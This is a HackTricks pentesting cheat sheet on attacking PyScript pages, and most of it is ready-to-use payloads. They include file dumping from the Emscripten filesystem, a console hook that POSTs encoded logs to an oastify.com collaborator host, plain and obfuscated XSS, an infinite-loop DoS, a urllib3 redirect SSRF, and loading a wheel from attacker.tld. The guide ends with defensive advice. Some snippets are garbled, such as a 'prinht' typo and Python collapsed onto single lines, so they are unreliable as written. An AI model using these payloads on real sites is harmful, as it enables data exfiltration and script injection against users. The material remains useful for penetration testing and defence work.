Pyscript

Reading time: 6 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

PyScript Pentesting Guide

PyScript is a new framework developed for integrating Python into HTML so, it can be used alongside HTML. In this cheat sheet, you'll find how to use PyScript for your penetration testing purposes.

Dumping / Retrieving files from the Emscripten virtual memory filesystem:

CVE ID: CVE-2022-30286

Code:

html
<py-script>
  with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out
  = fin.read() print(out)
</py-script>

Result:

OOB Data Exfiltration of the Emscripten virtual memory filesystem (console monitoring)

CVE ID: CVE-2022-30286

Code:

html
<py-script>
  x = "CyberGuy" if x == "CyberGuy": with
  open('/lib/python3.10/asyncio/tasks.py') as output: contents = output.read()
  print(contents) print('
  <script>
    console.pylog = console.log
    console.logs = []
    console.log = function () {
      console.logs.push(Array.from(arguments))
      console.pylog.apply(console, arguments)
      fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {
        method: "POST",
        headers: { "Content-Type": "text/plain;charset=utf-8" },
        body: JSON.stringify({ content: btoa(console.logs) }),
      })
    }
  </script>
  ')
</py-script>

Result:

Cross Site Scripting (Ordinary)

Code:

python
<py-script>
        print("<img src=x onerror='alert(document.domain)'>")
</py-script>

Result:

Cross Site Scripting (Python Obfuscated)

Code:

python
<py-script>
sur = "\u0027al";fur = "e";rt = "rt"
p = "\x22x$$\x22\x29\u0027\x3E"
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
e = "c\u003d";q = "x"
y = "o";m = "ner";z = "ror\u003d"

print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
</py-script>

Result:

Cross Site Scripting (JavaScript Obfuscation)

Code:

html
<py-script>
  prinht(""
  <script>
    var _0x3675bf = _0x5cf5
    function _0x5cf5(_0xced4e9, _0x1ae724) {
      var _0x599cad = _0x599c()
      return (
        (_0x5cf5 = function (_0x5cf5d2, _0x6f919d) {
          _0x5cf5d2 = _0x5cf5d2 - 0x94
          var _0x14caa7 = _0x599cad[_0x5cf5d2]
          return _0x14caa7
        }),
        _0x5cf5(_0xced4e9, _0x1ae724)
      )
    }
    ;(function (_0x5ad362, _0x98a567) {
      var _0x459bc5 = _0x5cf5,
        _0x454121 = _0x5ad362()
      while (!![]) {
        try {
          var _0x168170 =
            (-parseInt(_0x459bc5(0x9e)) / 0x1) *
              (parseInt(_0x459bc5(0x95)) / 0x2) +
            (parseInt(_0x459bc5(0x97)) / 0x3) *
              (-parseInt(_0x459bc5(0x9c)) / 0x4) +
            -parseInt(_0x459bc5(0x99)) / 0x5 +
            (-parseInt(_0x459bc5(0x9f)) / 0x6) *
              (parseInt(_0x459bc5(0x9d)) / 0x7) +
            (-parseInt(_0x459bc5(0x9b)) / 0x8) *
              (-parseInt(_0x459bc5(0x9a)) / 0x9) +
            -parseInt(_0x459bc5(0x94)) / 0xa +
            (parseInt(_0x459bc5(0x98)) / 0xb) *
              (parseInt(_0x459bc5(0x96)) / 0xc)
          if (_0x168170 === _0x98a567) break
          else _0x454121["push"](_0x454121["shift"]())
        } catch (_0x5baa73) {
          _0x454121["push"](_0x454121["shift"]())
        }
      }
    })(_0x599c, 0x28895),
      prompt(document[_0x3675bf(0xa0)])
    function _0x599c() {
      var _0x34a15f = [
        "15170376Sgmhnu",
        "589203pPKatg",
        "11BaafMZ",
        "445905MAsUXq",
        "432bhVZQo",
        "14792bfmdlY",
        "4FKyEje",
        "92890jvCozd",
        "36031bizdfX",
        "114QrRNWp",
        "domain",
        "3249220MUVofX",
        "18cpppdr",
      ]
      _0x599c = function () {
        return _0x34a15f
      }
      return _0x599c()
    }
  </script>
  "")
</py-script>

Result:

DoS attack (Infinity loop)

Code:

html
<py-script>
  while True:
  print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;")
</py-script>

Result:


New vulnerabilities & techniques (2023-2025)

Server-Side Request Forgery via uncontrolled redirects (CVE-2025-50182)

urllib3 < 2.5.0 ignores the redirect and retries parameters when it is executed inside the Pyodide runtime that ships with PyScript. When an attacker can influence target URLs, they may force the Python code to follow cross-domain redirects even when the developer explicitly disabled them ‑ effectively bypassing anti-SSRF logic.

html
<script type="py">
import urllib3
http = urllib3.PoolManager(retries=False, redirect=False)  # supposed to block redirects
r = http.request("GET", "https://evil.example/302")      # will STILL follow the 302
print(r.status, r.url)
</script>

Patched in urllib3 2.5.0 – upgrade the package in your PyScript image or pin a safe version in packages = ["urllib3>=2.5.0"]. See the official CVE entry for details.

Arbitrary package loading & supply-chain attacks

Since PyScript allows arbitrary URLs in the packages list, a malicious actor who can modify or inject configuration can execute fully arbitrary Python in the victim’s browser:

html
<py-config>
packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"]
</py-config>
<script type="py">
import payload  # executes attacker-controlled code during installation
</script>

Only pure-Python wheels are required – no WebAssembly compilation step is needed. Make sure configuration is not user-controlled and host trusted wheels on your own domain with HTTPS & SRI hashes.

Output sanitisation changes (2023+)

  • print() still injects raw HTML and is therefore XSS-prone (examples above).
  • The newer display() helper escapes HTML by default – raw markup must be wrapped in pyscript.HTML().
python
from pyscript import display, HTML

display("<b>escaped</b>")          # renders literally

display(HTML("<b>not-escaped</b>")) # executes as HTML -> potential XSS if untrusted

This behaviour was introduced in 2023 and is documented in the official Built-ins guide. Rely on display() for untrusted input and avoid calling print() directly.


Defensive Best Practices

  • Keep packages up to date – upgrade to urllib3 >= 2.5.0 and regularly rebuild wheels that ship with the site.
  • Restrict package sources – only reference PyPI names or same-origin URLs, ideally protected with Sub-resource Integrity (SRI).
  • Harden Content Security Policy – disallow inline JavaScript (script-src 'self' 'sha256-…') so that injected <script> blocks cannot execute.
  • Disallow user-supplied <py-script> / <script type="py"> tags – sanitise HTML on the server before echoing it back to other users.
  • Isolate workers – if you do not need synchronous access to the DOM from workers, enable the sync_main_only flag to avoid the SharedArrayBuffer header requirements.

References

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks